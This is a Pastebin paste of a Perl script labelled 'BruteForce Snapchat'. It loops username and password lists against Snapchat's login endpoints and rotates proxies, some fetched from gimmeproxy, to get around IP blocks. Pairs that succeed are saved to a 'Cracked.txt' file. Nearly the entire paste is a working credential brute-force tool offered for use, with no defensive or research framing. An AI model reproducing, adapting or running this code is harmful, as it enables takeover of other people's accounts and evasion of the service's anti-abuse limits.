Advertisement
Guest User

Untitled

a guest
Jan 7th, 2018
556
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.09 KB | None | 0 0
  1. ##########################################
  2. use LWP::UserAgent; # ppm install LWP::UserAgent
  3. ##########################################
  4. system('clear');
  5. system('cls');
  6. system('color 5');
  7. print qq(
  8. ################################
  9. # BruteForce Snapchat #
  10. ################################
  11. # Coded By 1337r00t #
  12. ################################
  13. # #
  14. # Instagram : 1337r00t #
  15. # #
  16. # Twitter : _1337r00t #
  17. # #
  18. ################################
  19. Enter [CTRL+C] For Exit :0[w]\nw);
  20. print qq(
  21. Bruting :-\n
  22. 1 - Without proxy
  23. 2 - With Proxy but automatically from gimmeproxy
  24. 3 - with proxy [List[Manual]]
  25. >);
  26. $do = <STDIN>;chomp($do);
  27. print "\n";
  28. if ($do == 1){
  29. system('clear');
  30. system('cls');
  31. system('color 5');
  32. print qq(
  33. Enter Usernames File :
  34. > );
  35. $usernames=<STDIN>;
  36. chomp($usernames);
  37. open (USERFILE, "<$usernames") || die "[-] Can't Found ($usernames) !";
  38. @USERS = <USERFILE>;
  39. close USERFILE;
  40. print qq(
  41. Enter Passwords File :
  42. > );
  43. $passwords=<STDIN>;
  44. chomp($passwords);
  45. open (PASSFILE, "<$passwords") || die "[-] Can't Found ($passwords) !";
  46. @PASSS = <PASSFILE>;
  47. close PASSFILE;
  48. system('clear');
  49. system('cls');
  50. print '
  51. _ _____ _____ _____ ____ ___ ___ _____
  52. /"| |___"/u|___"/u |___ "|U | _"\ u/ _"\ u / _"\ u|_ " _|
  53. u | |uU_|_ \/U_|_ \/ / / \| |_) |/ / U |/ | / U |/ | |
  54. \| |/ ___) | ___) | u// /\ | _ < | \// |,-.| \// |,-./| |\
  55. |_| |____/ |____/ /_/ U |_| \_\ \___/(_/ \___/(_/u |_|U
  56. _//<,-,_// \\ _// \\ <<>>_ // \\_ // // _// \\_
  57. (__)(_/(__)(__|__)(__|__)__) (__) (__|__) (__) (__) (__)
  58. ';
  59. print "\nUsernames: ($usernames)\nPasswords: ($passwords)\n--------\nCracking Now !..\n";
  60. ######################
  61. foreach $username (@USERS) {
  62. chomp $username;
  63. foreach $password (@PASSS) {
  64. chomp $password;
  65. $snapchat = LWP::UserAgent->new();
  66. $snapchat->default_header('Accept-Language' => "en;q=0.9");
  67. $snapchat->default_header('User-Agent' => "Snapchat/8.2.0 (SM-G900F; Android 5.0#G900FXXS1BPCL#21; gzip)");
  68. $response = $snapchat->post('https://app.snapchat.com/loq/login',
  69. {
  70. password => $password,
  71. req_token => '9300a1585ce1b2f86e0903e7f0a890046eed4d8119e34a8709b4c614d9c5165b',
  72. timestamp => '1506271406216',
  73. username => $username
  74. }
  75. );
  76. if ($response->content=~ /using a version of Snapchat or operating system/) {
  77. print "Cracked -> ($username:$password)\n";
  78. open(R0T,">>Cracked.txt");
  79. print R0T "\n($username:$password)\n";
  80. close(R0T);
  81. }
  82. else
  83. {
  84. if ($response->content=~ /not the right password./) {
  85. print "Failed -> ($username:$password)\n";
  86. }
  87. else
  88. {
  89. if ($response->content=~ /find an account with that username./) {
  90. print "NotFound -> ($username)\n";
  91. }
  92. else
  93. {
  94. if ($response->content=~ /Invalid account/) {
  95. print "Invalid account -> ($username)\n";
  96. }
  97. else
  98. {
  99. if ($response->content=~ /Due to repeated failed login attempts or other suspicious activity/) {
  100. print "Block bruting only this user -> ($username)\n";
  101. }
  102. else
  103. {
  104. print "Blocked Your IP for Requests\n";
  105. }
  106. }
  107. }
  108. }
  109. }
  110. }
  111. }
  112. }
  113. if ($do == 2){
  114. system('clear');
  115. system('cls');
  116. system('color 5');
  117. print qq(
  118. Enter Usernames File :
  119. > );
  120. $usernames=<STDIN>;
  121. chomp($usernames);
  122. open (USERFILE, "<$usernames") || die "[-] Can't Found ($usernames) !";
  123. @USERS = <USERFILE>;
  124. close USERFILE;
  125. print qq(
  126. Enter Passwords File :
  127. > );
  128. $passwords=<STDIN>;
  129. chomp($passwords);
  130. open (PASSFILE, "<$passwords") || die "[-] Can't Found ($passwords) !";
  131. @PASSS = <PASSFILE>;
  132. close PASSFILE;
  133. system('clear');
  134. system('cls');
  135. print '
  136. _ _____ _____ _____ ____ ___ ___ _____
  137. /"| |___"/u|___"/u |___ "|U | _"\ u/ _"\ u / _"\ u|_ " _|
  138. u | |uU_|_ \/U_|_ \/ / / \| |_) |/ / U |/ | / U |/ | |
  139. \| |/ ___) | ___) | u// /\ | _ < | \// |,-.| \// |,-./| |\
  140. |_| |____/ |____/ /_/ U |_| \_\ \___/(_/ \___/(_/u |_|U
  141. _//<,-,_// \\ _// \\ <<>>_ // \\_ // // _// \\_
  142. (__)(_/(__)(__|__)(__|__)__) (__) (__|__) (__) (__) (__)
  143. ';
  144. print "\nUsernames: ($usernames)\nPasswords: ($passwords)\n--------\nCracking Now !..\n";
  145. ######################
  146. foreach $username (@USERS) {
  147. chomp $username;
  148. foreach $password (@PASSS) {
  149. chomp $password;
  150. $prx = LWP::UserAgent->new();
  151. $regex = $prx->get('https://gimmeproxy.com/api/getProxy?post=true');
  152. $snapchat = LWP::UserAgent->new();
  153. $snapchat->proxy(['http', 'https'], $prox );
  154. $snapchat->default_header('Accept-Language' => "en;q=0.9");
  155. $snapchat->default_header('User-Agent' => "Snapchat/8.2.0 (SM-G900F; Android 5.0#G900FXXS1BPCL#21; gzip)");
  156. $response = $snapchat->post('https://feelinsonice-hrd.appspot.com/loq/login',
  157. {
  158. password => $password,
  159. req_token => '9300a1585ce1b2f86e0903e7f0a890046eed4d8119e34a8709b4c614d9c5165b',
  160. timestamp => '1506271406216',
  161. username => $username
  162. }
  163. );
  164. if ($response->content=~ /using a version of Snapchat or operating system/) {
  165. print "Cracked -> ($username:$password)\n";
  166. open(R0T,">>Cracked.txt");
  167. print R0T "\n($username:$password)\n";
  168. close(R0T);
  169. }
  170. else
  171. {
  172. if ($response->content=~ /not the right password./) {
  173. print "Failed -> ($username:$password)\n";
  174. }
  175. else
  176. {
  177. if ($response->content=~ /find an account with that username./) {
  178. print "NotFound -> ($username)\n";
  179. }
  180. else
  181. {
  182. if ($response->content=~ /Invalid account/) {
  183. print "Invalid account -> ($username)\n";
  184. }
  185. else
  186. {
  187. if ($response->content=~ /Due to repeated failed login attempts or other suspicious activity/) {
  188. print "Block bruting only this user -> ($username)\n";
  189. }
  190. else
  191. {
  192. print "----------------\n";
  193. print "Blocked :(\n";
  194. print "But now check this proxy [";
  195. print $regex->content=~/"curl": "(.+?)"/;
  196. print "] if works or not :)\n";
  197. print "Just Wait ...\n";
  198. print "----------------\n";
  199. sleep(11);
  200. }
  201. }
  202. }
  203. }
  204. }
  205. }
  206. }
  207. }
  208. if ($do == 3){
  209. system('clear');
  210. system('cls');
  211. system('color 5');
  212. print "List Of Proxys => ";
  213. $proxys=<STDIN>;
  214. chomp($proxys);
  215. open (PROXYFILE, "<$proxys") || die "[-] Can't Found ($proxys) !";
  216. @PROXYS = <PROXYFILE>;
  217. close PROXYFILE;
  218. print '
  219. _ _____ _____ _____ ____ ___ ___ _____
  220. /"| |___"/u|___"/u |___ "|U | _"\ u/ _"\ u / _"\ u|_ " _|
  221. u | |uU_|_ \/U_|_ \/ / / \| |_) |/ / U |/ | / U |/ | |
  222. \| |/ ___) | ___) | u// /\ | _ < | \// |,-.| \// |,-./| |\
  223. |_| |____/ |____/ /_/ U |_| \_\ \___/(_/ \___/(_/u |_|U
  224. _//<,-,_// \\ _// \\ <<>>_ // \\_ // // _// \\_
  225. (__)(_/(__)(__|__)(__|__)__) (__) (__|__) (__) (__) (__)
  226. ';
  227. print "\nUsernames: ($usernames)\nPasswords: ($passwords)\n--------\nProxys:$proxys\n--------\nCracking Now !..\n";
  228. foreach $prox (@PROXYS) {
  229. chomp $prox;
  230. foreach $username (@USERS) {
  231. chomp $username;
  232. foreach $password (@PASSS) {
  233. chomp $password;
  234. $prx = LWP::UserAgent->new();
  235. $regex = $prx->get('https://gimmeproxy.com/api/getProxy?post=true&protocol=http&websites=google');
  236. $snapchat = LWP::UserAgent->new();
  237. $snapchat->proxy(['http', 'https'], $prox );
  238. $snapchat->default_header('Accept-Language' => "en;q=0.9");
  239. $snapchat->default_header('User-Agent' => "Snapchat/8.2.0 (SM-G900F; Android 5.0#G900FXXS1BPCL#21; gzip)");
  240. $response = $snapchat->post('https://feelinsonice-hrd.appspot.com/loq/login',
  241. {
  242. password => $password,
  243. req_token => '9300a1585ce1b2f86e0903e7f0a890046eed4d8119e34a8709b4c614d9c5165b',
  244. timestamp => '1506271406216',
  245. username => $username
  246. }
  247. );
  248. if ($response->content=~ /using a version of Snapchat or operating system/) {
  249. print "Cracked -> ($username:$password)\n";
  250. open(R0T,">>Cracked.txt");
  251. print R0T "\n($username:$password)\n";
  252. close(R0T);
  253. }
  254. else
  255. {
  256. if ($response->content=~ /not the right password./) {
  257. print "Failed -> ($username:$password)\n";
  258. }
  259. else
  260. {
  261. if ($response->content=~ /find an account with that username./) {
  262. print "NotFound -> ($username)\n";
  263. }
  264. else
  265. {
  266. if ($response->content=~ /Invalid account/) {
  267. print "Invalid account -> ($username)\n";
  268. }
  269. else
  270. {
  271. if ($response->content=~ /Due to repeated failed login attempts or other suspicious activity/) {
  272. print "Block bruting only this user -> ($username)\n";
  273. }
  274. else
  275. {
  276. print "----------------\n";
  277. print "Blocked Request [$prox]:(\n";
  278. print "----------------\n";
  279. sleep(11);
  280. }
  281. }
  282. }
  283. }
  284. }
  285. }
  286. }
  287. }
  288. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement